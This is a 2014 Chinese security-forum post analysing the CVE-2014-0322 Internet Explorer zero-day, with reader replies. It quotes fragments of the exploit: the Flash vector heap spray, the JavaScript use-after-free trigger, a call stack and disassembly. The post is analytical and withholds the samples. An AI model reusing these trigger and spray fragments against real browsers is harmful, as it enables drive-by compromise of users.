首页
社区
课程
招聘
[原创]CVE-2014-0322 0day Exploit分析
发表于: 2014-2-17 10:55 14117

[原创]CVE-2014-0322 0day Exploit分析

2014-2-17 10:55
14117

最近有个IE 0day (CVE-2014-0322)被用于挂马。尽管这个漏洞本身存在于IE里面,但是为了实现成功利用,这个样本还借用了flash作为辅助,来突破各种防护。IE+flash的组合也给分析带来了一些挑战,以前没有分析过这样的组合,正好借此机会详细分析了一下,整理成文章,大家一起交流学习。如有错误之处,还请大家批评指正。

本文涉及的内容包括:
1.        整个exploit的流程分析。
2.        漏洞的成因。
3.        使用flash uint vector进行DEP/ASLR绕过的技术。
4.        样本中的ROP片段。
5.        样本的shellcode行为。

样本网上搜搜都有,我就不发了,不传播恶意软件~

CVE-2014-0322 0day Exploit 分析

古河

http://weibo.com/u/1874932054


最近有个 IE 0day (CVE-2014-0322)被用于挂马。尽管这个漏洞本身存在于 IE 里面,但是为了
实现成功利用,这个样本还借用了 flash 作为辅助,来突破各种防护。IE+flash 的组合也给分
析带来了一些挑战,以前没有分析过这样的组合,正好借此机会详细分析了一下,整理成文
章,大家一起交流学习。如有错误之处,还请大家批评指正。

本文涉及的内容包括:

1. 整个 exploit 的流程分析。

2. 漏洞的成因。

3. 使用 flash uint vector 进行 DEP/ASLR 绕过的技术。

4. 样本中的 ROP 片段。

5. 样本的 shellcode 行为。

1.本文使用的样本

本文使用的样本一共包含三个文件

Index.html  (就是那个 html 文件,原名叫什么我忘了)

Tope.swf

Erido.jpg

这些文件在网上搜一下基本都能找到了,我这里就不给出来了。

2.入口点

整个攻击的入口点是 index.html,它会尝试去加载 Tope.swf:

<embed src=Tope.swf width=10 height=10></embed>

3.Tope.swf 加载以及 heap spray

在 Tope.swf 初始化的时候,它首先尝试从服务器获取”Erido.jpg”

_local1.url = "Erido.jpg";
this.l.dataFormat = URLLoaderDataFormat.BINARY;
this.l.addEventListener(Event.COMPLETE, this.E_xx);
this.l.load(_local1);
this.s = new Vector.<Object>(98688);     // totally 98688 vectors to spray
 
var _local7:* = ((0x1000 / 4) - 2);     // each vector has 0x3fe elements

…

while (_local2 < 98688) { 

…
 
this.s[_local2] = new Vector.<uint>(_local7);     // create one of the vectors
 
}
while (_local2 < 0x0400) {
this.ss[_local2] = new Vector.<Object>(_local9);
_local3 = 0;
while (_local3 < _local9) {
this.ss[_local2][_local3] = this.snd;   //初始化成同一个 Sound 对象
_local3++;
};
_local2++;
};
var a=document.getElementsByTagName("script");
var b=a[0]; 
b.onpropertychange=fun;    // 为 script 节 点 设 置 “onpropertychange”
08:45 处理函数
var c=document.createElement('SELECT');    // 创建一个 “select”节点
c=b.appendChild(c);    // 将新创建的 select 节点附加到 script 节点上
[B]MSHTML!CDoc::CreateMarkupFromInfo+0x0000017f    // new CMarkupObject created[/B]
MSHTML!CDoc::CreateMarkupWithElement+0x0000008a
MSHTML!CElement::GetDOMInsertPosition+0x000001c0
MSHTML!CElement::InsertBeforeHelper+0x0000007e
MSHTML!CElement::InsertBeforeHelper+0x000000e5
MSHTML!CElement::InsertBefore+0x00000036
MSHTML!CElement::Var_appendChild+0x000000cb
[B]MSHTML!CMarkup::NotifyElementEnterTree+0x1df
call     CElement::HandleTextChange(bool)[/B]
this.outerHTML=this.outerHTML    // frees the DOM thus frees the CMarkup Object
for(a=0;a<arrLen;++a)
{
g_arr[a].title=d.substring(0,d.length);
}
CMarkup::UpdateMarkupContentsVersion(void)
.text:637C943E
.text:637C943E                      mov      eax, [edx+7Ch]
.text:637C9441                      inc      eax
.text:637C9442                      or       eax, 80000000h
.text:637C9447                      mov      [edx+7Ch], eax
.text:637C944A                      mov      eax, [edx+0ACh]
.text:637C9450                      test      eax, eax
.text:637C9452                      jz          short loc_637C9457
[B].text:637C9454                      inc        dword ptr [eax+10h][/B]

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

上传的附件:
收藏
免费 5
支持
分享
最新回复 (72)
雪    币: 1098
活跃值: (193)
能力值: (RANK:210 )
在线值:
发帖
回帖
粉丝
2
陈兄又发牛贴,赞一个。
我敢保证,不久就被设为精华。
2014-2-17 11:00
0
雪    币: 2664
活跃值: (3401)
能力值: ( LV13,RANK:1760 )
在线值:
发帖
回帖
粉丝
3
顶楼主...
2014-2-17 11:04
0
雪    币: 55
活跃值: (519)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
4
顶楼主。
2014-2-17 11:06
0
雪    币: 29
活跃值: (16)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
跟楼主好好学习!
2014-2-17 11:08
0
雪    币: 131
活跃值: (98)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
6
楼主的分析是极好的~
2014-2-17 11:09
0
雪    币: 1491
活跃值: (985)
能力值: (RANK:860 )
在线值:
发帖
回帖
粉丝
7
精华是必须的。谢谢古河大牛
2014-2-17 11:30
0
雪    币: 230
活跃值: (106)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
正拿到个这类样本,谢谢楼主分享!
2014-2-17 11:37
0
雪    币: 90
活跃值: (92)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
9
我下的样本里面的Erido.jpg没见了。。。多了一个tope.as3文件,不知道各位是在哪里找到样本的?
2014-2-17 12:04
0
雪    币: 50
活跃值: (20)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
围观大牛,那么多下载,这么少回复。
2014-2-17 12:08
0
雪    币: 2
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
膜拜大牛
2014-2-17 12:48
0
雪    币: 63
活跃值: (57)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
12
顶,古河大牛!已学习!
2014-2-17 12:55
0
雪    币: 341
活跃值: (85)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
13
mark
2014-2-17 13:40
0
雪    币: 500
活跃值: (960)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
14
mark 有空看看,感谢分享
2014-2-17 13:59
0
雪    币: 496
活跃值: (286)
能力值: ( LV13,RANK:400 )
在线值:
发帖
回帖
粉丝
15
这才是大牛漏洞分析啊,以后得多学习学习现有的CVE了。
2014-2-17 14:21
0
雪    币: 496
活跃值: (286)
能力值: ( LV13,RANK:400 )
在线值:
发帖
回帖
粉丝
16
有个疑问:
这里 CMarkupCMarkup对象已经被释放并站位,运行 对象已经被释放并站位,运行 对象已经被释放并站位,运行 对象已经被释放并站位,运行 对象已经被释放并站位,运行 对象已经被释放并站位,运行 对象已经被释放并站位,运行 已经被设置成 已经被设置成 已经被设置成 (可设置成任意值) , 所以这条指令会将 所以这条指令会将 1a1b2000处 的数据增加 1


这个被inc的地址0x1a1b2000是如何控制的?
是不是在CMarkup对象被析构之后,占位的时候填充的字符串?
2014-2-17 14:41
0
雪    币: 822
活跃值: (380)
能力值: ( LV12,RANK:310 )
在线值:
发帖
回帖
粉丝
17
是的 。。。
2014-2-17 15:11
0
雪    币: 496
活跃值: (286)
能力值: ( LV13,RANK:400 )
在线值:
发帖
回帖
粉丝
18
DONE,多谢。
2014-2-17 15:14
0
雪    币: 100
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
19
顶起。不愧是大牛。写的很详细
2014-2-17 15:29
0
雪    币: 177
活跃值: (471)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
20
学习了~support!
2014-2-17 16:38
0
雪    币: 4536
活跃值: (902)
能力值: ( LV16,RANK:480 )
在线值:
发帖
回帖
粉丝
21
不错不错,分析得很到位啊:)
2014-2-17 16:53
0
雪    币: 189
活跃值: (46)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
22
样本难找
2014-2-17 16:57
0
雪    币: 78
活跃值: (25)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
23
求样本,分析下
谢谢
2014-2-17 17:10
0
雪    币: 189
活跃值: (46)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
24
哪位好心人给个样本吧
搜了好久都没找到
谢谢
2014-2-17 17:43
0
雪    币: 6976
活跃值: (1467)
能力值: ( LV11,RANK:180 )
在线值:
发帖
回帖
粉丝
25
写的非常好啊. 深入浅出.
2014-2-18 09:31
0
游客
登录 | 注册 方可回帖
返回
//